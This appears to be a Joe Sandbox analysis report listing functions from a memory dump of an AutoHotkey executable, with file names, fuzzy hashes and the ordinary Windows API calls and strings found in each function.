Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: AHK Mouse
API String ID: 2372642624-1022267635
Opcode ID: 7a34951013c0a61e00e3a3fa4bc317dada32b2efcea6c5033a87a54a16989156
Instruction ID: 39463d49a4088dd806c9e760a42763cd72a9b9d8de9409561af5fa091353bca1
Opcode Fuzzy Hash: 7a34951013c0a61e00e3a3fa4bc317dada32b2efcea6c5033a87a54a16989156
Instruction Fuzzy Hash: 6BF0A7B3B1132057DB206BB9ECC8B8A6B589B84B61F150837E505D72D4D77C8C80426C

Uniqueness

Uniqueness Score: -1.00%

Function 004823A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(uxtheme,-004D98C1,?,0043D0C0,?), ref: 004823AC
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 004823BE
FreeLibrary.KERNEL32(00000000), ref: 004823DC

Strings

uxtheme, xrefs: 004823A2
SetWindowTheme, xrefs: 004823B8

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 145871493-1369271589
Opcode ID: 9fdb9af0fecbaaf04de43fdf768352dccd8a002899cb3eb92d7604187643ccf4
Instruction ID: a9f685e356b3f31b4e9343c8a98a14d741d5dd4eddda3ddee52148d147569da1
Opcode Fuzzy Hash: 9fdb9af0fecbaaf04de43fdf768352dccd8a002899cb3eb92d7604187643ccf4
Instruction Fuzzy Hash: 22E08679B816112B82902B35AD09F9F3E559FC6B12715453AFC06D7240CBBCCC0682BE

Uniqueness

Uniqueness Score: -1.00%

Function 0043684A Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID:
API String ID: 3832890014-0
Opcode ID: 4d8b73bdd61d8e2d0483357e57812dc946ec1654c0a04bc8a223a66773e346fd
Instruction ID: 68b2e2123b779f65d6a0961ec8a4b3e458778bcc01030d9c131b5de5733aeef2
Opcode Fuzzy Hash: 4d8b73bdd61d8e2d0483357e57812dc946ec1654c0a04bc8a223a66773e346fd
Instruction Fuzzy Hash: 77812A66A01223B6E71057119C12BB273919F09358F1AD077DD46EB3C2E66DFC42C7AE

Uniqueness

Uniqueness Score: -1.00%

Function 004161F0 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

CallNextHookEx.USER32(00000000,?,?,?), ref: 00416210
UnhookWindowsHookEx.USER32(00000000), ref: 0041624D
GetTickCount.KERNEL32 ref: 0041629C
GetTickCount.KERNEL32 ref: 004163DF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountHookTick$CallNextUnhookWindows
String ID:
API String ID: 2092930497-0
Opcode ID: b715e4d5fb4f8b78326e425589830abd0cf655e6d3a565b63121fb919309f234
Instruction ID: ccba0d24c59a3afc4a6b793f44427c6f14b52417a2a1b4b3a2272b88b855a2cd
Opcode Fuzzy Hash: b715e4d5fb4f8b78326e425589830abd0cf655e6d3a565b63121fb919309f234
Instruction Fuzzy Hash: 8E61EF705062118AD724DF29E8907B6B7E1FB54710F05887FE896C3351EB78E894CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 004846A0 Relevance: 7.6, APIs: 5, Instructions: 141windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,0040F31B,004D8348,004B0CF8,00000000,00000000), ref: 004846E1
IsWindowVisible.USER32(00000000), ref: 004846F6

Part of subcall function 00485450: __wcsnicmp.LIBCMT ref: 00485514
Part of subcall function 00485450: __wcstoui64.LIBCMT ref: 00485593

IsWindow.USER32(004B0CF8), ref: 004847EC

Part of subcall function 00485360: IsWindowVisible.USER32(004B0CF8), ref: 00485361

GetWindowLongW.USER32(004B0CF8,000000F0), ref: 00484818
EnumWindows.USER32(00484920,00000002), ref: 0048486A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$Visible$EnumForegroundLongWindows__wcsnicmp__wcstoui64
String ID:
API String ID: 256079111-0
Opcode ID: eb470d08f536ee960caf0479229bc1bea4746805785ae4bc82e26e7c7608c190
Instruction ID: fab4234c97850387ccbfdd78dfa84d182b2f6d3e31ef76e0a1dc178efcc0eaa5
Opcode Fuzzy Hash: eb470d08f536ee960caf0479229bc1bea4746805785ae4bc82e26e7c7608c190
Instruction Fuzzy Hash: 9F5183759043D28ADB30BF6598801EFB7E4BBC6344F448D2FE98983340EB784944CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0045A130 Relevance: 7.6, APIs: 5, Instructions: 120windowCOMMON

Download Yara Rule

APIs

ImageList_GetIconSize.COMCTL32(?,?,?), ref: 0045A1BF
ImageList_AddMasked.COMCTL32(?,00000000), ref: 0045A222
DeleteObject.GDI32(00000000), ref: 0045A230
ImageList_ReplaceIcon.COMCTL32(?,000000FF,00000000), ref: 0045A245
DestroyIcon.USER32(00000000), ref: 0045A253

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: IconImageList_$DeleteDestroyMaskedObjectReplaceSize
String ID:
API String ID: 1613341713-0
Opcode ID: fe1463ebc55d8ea28cd94c0f35790740bf8442e2befc5a37b58b8544447efd2b
Instruction ID: a5064abfee353a980abf435dd2dd6ce479ca477cdae80e2bf57e2614798589ec
Opcode Fuzzy Hash: fe1463ebc55d8ea28cd94c0f35790740bf8442e2befc5a37b58b8544447efd2b
Instruction Fuzzy Hash: 8041C1B19042129FC314DF69DC84A6BB7E9FB89315F148B2EF859C3241D734E819CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004741A0 Relevance: 7.6, APIs: 5, Instructions: 118windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001304,00000000,00000000), ref: 004741BA
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004741F2
SendMessageW.USER32(?,0000130C,-00000001,00000000), ref: 00474236
GetDlgCtrlID.USER32 ref: 00474252

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$Ctrl
String ID:
API String ID: 4210937766-0
Opcode ID: ffdff617bcee6b181f7d7581485404b42f8bd52d268a8072be311176732e6f0d
Instruction ID: da1c7568fc3642a3a5f9211162673405ccf37517d94f2375e71d74ea23fe143b
Opcode Fuzzy Hash: ffdff617bcee6b181f7d7581485404b42f8bd52d268a8072be311176732e6f0d
Instruction Fuzzy Hash: 99312630204215AAD320DA699C44FF7BBD8EBD5345F04CAABF949C62D3C768DC94CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00468728 Relevance: 7.6, APIs: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000030,?,00000000), ref: 0046874D
SendMessageW.USER32(?,00001024,00000000,?), ref: 0046879D

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bf05ac34ab9d7b8855efff3d31d918287ee5090fd278eb4bde3c52322801d732
Instruction ID: 905cc7877eea1809b3e5f3d729afcdc06bdbae92ef4708ed8b72fc4c07fb8867
Opcode Fuzzy Hash: bf05ac34ab9d7b8855efff3d31d918287ee5090fd278eb4bde3c52322801d732
Instruction Fuzzy Hash: B5214474340344BBE734DE55CC92FB67366BB94B05F24460EF6415B2D1D6F8F8428A19

Uniqueness

Uniqueness Score: -1.00%

Function 004735C0 Relevance: 7.6, APIs: 5, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00471500: GetWindowLongW.USER32(00000000,000000F0), ref: 00471540
Part of subcall function 00471500: GetWindowLongW.USER32(00000000,000000F0), ref: 0047156E

GetParent.USER32 ref: 004735E7
CheckRadioButton.USER32(00000000,000003FD,?,-00000004), ref: 00473602
SendMessageW.USER32(00000400,000000F1,00000000,00000000), ref: 0047364A
GetWindowLongW.USER32(00000000,000000F0), ref: 00473657
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00473666

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: LongWindow$ButtonCheckMessageParentRadioSend
String ID:
API String ID: 3848393323-0
Opcode ID: 185c66117efbf54dc1357566d2ab16d1dac70c230b1256e8052c89985bd991ea
Instruction ID: f0e59cfb6d8b620f885750d8e77c1d2cf47aaa9a8a40e5c22e9dec3924558f78
Opcode Fuzzy Hash: 185c66117efbf54dc1357566d2ab16d1dac70c230b1256e8052c89985bd991ea
Instruction Fuzzy Hash: 0E21D872104301ABC724CF04DC44EFBB769EBD5362F248A1EF15693250DB35B9458764

Uniqueness

Uniqueness Score: -1.00%

Function 0040E430 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E43E

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

_malloc.LIBCMT ref: 0040E463
_free.LIBCMT ref: 0040E472

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _malloc$AllocateHeap_free
String ID:
API String ID: 1159278337-0
Opcode ID: 3cf02fe0e109417ad098516ae6369afaf6036c3caca03eb40df4fb2db329b05c
Instruction ID: b51a74af510d3b6b56f33704df969146ad01979f218eebb2d6745bc0f4d6d6ac
Opcode Fuzzy Hash: 3cf02fe0e109417ad098516ae6369afaf6036c3caca03eb40df4fb2db329b05c
Instruction Fuzzy Hash: A111E9B290131867C610AF96BC81A9B779CD785714F04043FF904D7312E73DAD16C6EA

Uniqueness

Uniqueness Score: -1.00%

Function 0049A1C7 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0049A1D5

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

_free.LIBCMT ref: 0049A1E8

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 32b43eae5c8bfd2fff1b8a9e9a5a4d8a27b3690e070ef586cb8521668824c2e0
Instruction ID: a88ae2ba1fc1c1623b1a14dd7898c3e73e7a047b7466f3b79303f404fb57a078
Opcode Fuzzy Hash: 32b43eae5c8bfd2fff1b8a9e9a5a4d8a27b3690e070ef586cb8521668824c2e0
Instruction Fuzzy Hash: 1D11E332404225ABCF216F76AC0565A3F98EF857B4F20447BF8458A350EE3D88A096DE

Uniqueness

Uniqueness Score: -1.00%

Function 004684B5 Relevance: 7.6, APIs: 5, Instructions: 66windowCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00468001
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004684F1
GetWindowLongW.USER32(?,000000F0), ref: 00468504
SendMessageW.USER32(00000000,00001330,-00000001,00000000), ref: 0046851D
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0046852C

Part of subcall function 00473F30: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00473F47

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$LongWindow_free
String ID:
API String ID: 3510866790-0
Opcode ID: a27e4297ff281b82ea0c4cc32550fbcdf3daeb8faf806c3732e15bfa471d373c
Instruction ID: 0bf2012d0b4982e269b132e40de8a6930dd731ddddaf9ea88e08b40ea27f0a15
Opcode Fuzzy Hash: a27e4297ff281b82ea0c4cc32550fbcdf3daeb8faf806c3732e15bfa471d373c
Instruction Fuzzy Hash: 4911E171644300ABD7209F24DC91F6B73A0AB88750F184A2FF6465B3C1EA79E802CB5F

Uniqueness

Uniqueness Score: -1.00%

Function 0045F490 Relevance: 7.5, APIs: 5, Instructions: 37windowtimethreadCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000010,00000000,00000000,00000002,000001F4,?), ref: 0045F4A9
GetWindowThreadProcessId.USER32(00000000,?), ref: 0045F4BD
OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 0045F4D3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0045F4E2
CloseHandle.KERNEL32(00000000), ref: 0045F4E9

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Process$CloseHandleMessageOpenSendTerminateThreadTimeoutWindow
String ID:
API String ID: 1181120299-0
Opcode ID: fd24dd855da6abb827fbe89ceda92be1dcf58c868dac5fe99dbedf2cd40ec21a
Instruction ID: 15c9d1062631f657d706d60885cce7d538b6b22aa3fca04ec5e159e1accac26b
Opcode Fuzzy Hash: fd24dd855da6abb827fbe89ceda92be1dcf58c868dac5fe99dbedf2cd40ec21a
Instruction Fuzzy Hash: 80F05471A413117BE3315B24DC0AFDB3A98AF16B12F444139FB06E61D0E7B4990886AA

Uniqueness

Uniqueness Score: -1.00%

Function 0045C330 Relevance: 7.5, APIs: 5, Instructions: 35serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000008), ref: 0045C346
LockServiceDatabase.ADVAPI32(00000000), ref: 0045C353
UnlockServiceDatabase.ADVAPI32(00000000), ref: 0045C35E
GetLastError.KERNEL32 ref: 0045C366
CloseServiceHandle.ADVAPI32(00000000), ref: 0045C379

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Service$Database$CloseErrorHandleLastLockManagerOpenUnlock
String ID:
API String ID: 2828566434-0
Opcode ID: 347b68e9fb296e131daa2c56abeec1165bb8f146e22d841f60d9ac9fbb705572
Instruction ID: 10738a6c9d74aa69020d11223a310c944258f216e00e2eb55fb04efa4bd6b32d
Opcode Fuzzy Hash: 347b68e9fb296e131daa2c56abeec1165bb8f146e22d841f60d9ac9fbb705572
Instruction Fuzzy Hash: 62F02771A453106BE7300B60DCC8F8B3AACBF97752F044032FD06E66A1C768C98A836D

Uniqueness

Uniqueness Score: -1.00%

Function 00457620 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 479COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 004576BA
GetTickCount.KERNEL32 ref: 004579B7

Part of subcall function 00401060: IsClipboardFormatAvailable.USER32(0000000D), ref: 00401072
Part of subcall function 00401060: IsClipboardFormatAvailable.USER32(0000000F), ref: 0040107A

Strings

6Dd, xrefs: 004579C2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AvailableClipboardFormat$CountTick_wcsncpy
String ID: 6Dd
API String ID: 4241739539-23949168
Opcode ID: a1b965ba8832c69e931a63af42cc6ee7d44c70a86a74f5f7a50f6f65ab074722
Instruction ID: 97b756a1670dd2c7cc73280cc5cc395c9aa1e7884b5bb37323777fc795b0ef27
Opcode Fuzzy Hash: a1b965ba8832c69e931a63af42cc6ee7d44c70a86a74f5f7a50f6f65ab074722
Instruction Fuzzy Hash: 8912BE70509641DFC714DF18E884A6AB7E1FF89315F18857FE8858B362C338E859CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004373E0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 340COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00437455

Part of subcall function 0049A18D: RtlFreeHeap.NTDLL(00000000,00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1A3
Part of subcall function 0049A18D: GetLastError.KERNEL32(00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1B5

_free.LIBCMT ref: 00437513

Strings

Next, xrefs: 0043754E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: Next
API String ID: 776569668-2753412866
Opcode ID: 3834bbd638aa4e0deee49625f310476f98c741c1bcc1245d879d771558a17012
Instruction ID: 80bd094af14a219890b64ef1343576baf68652b163ed81be889dba935f0447b5
Opcode Fuzzy Hash: 3834bbd638aa4e0deee49625f310476f98c741c1bcc1245d879d771558a17012
Instruction Fuzzy Hash: 02D167B1A0C3408FD724DF58C884AABB7E4BB88314F24592EE5C987350D779E945CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D140 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D1CA

Strings

#Bd, xrefs: 0040D1D5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick
String ID: #Bd
API String ID: 536389180-1306175853
Opcode ID: 792ec2915f4415faa546e148d1c40febad845dbc11033f09b2e8436620834592
Instruction ID: edbc99c02ac19fc78bc74d3e04e1fc1523ca7583ff097de426994b31e779df8a
Opcode Fuzzy Hash: 792ec2915f4415faa546e148d1c40febad845dbc11033f09b2e8436620834592
Instruction Fuzzy Hash: 1751902692F3C4D9E7268B78B854396BFD0DB26254F1C85EFD0C4826E2C679488CD35E

Uniqueness

Uniqueness Score: -1.00%

Function 00439400 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0047FFB0: _vswprintf_s.LIBCMT ref: 0047FFC9

GetTickCount.KERNEL32 ref: 004394F1

Strings

---- %s, xrefs: 0043952C
Script lines most recently executed (oldest first). Press [F5] to refresh. The seconds elapsed between a line and the one after , xrefs: 0043940B
Press [F5] to refresh., xrefs: 004395D2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

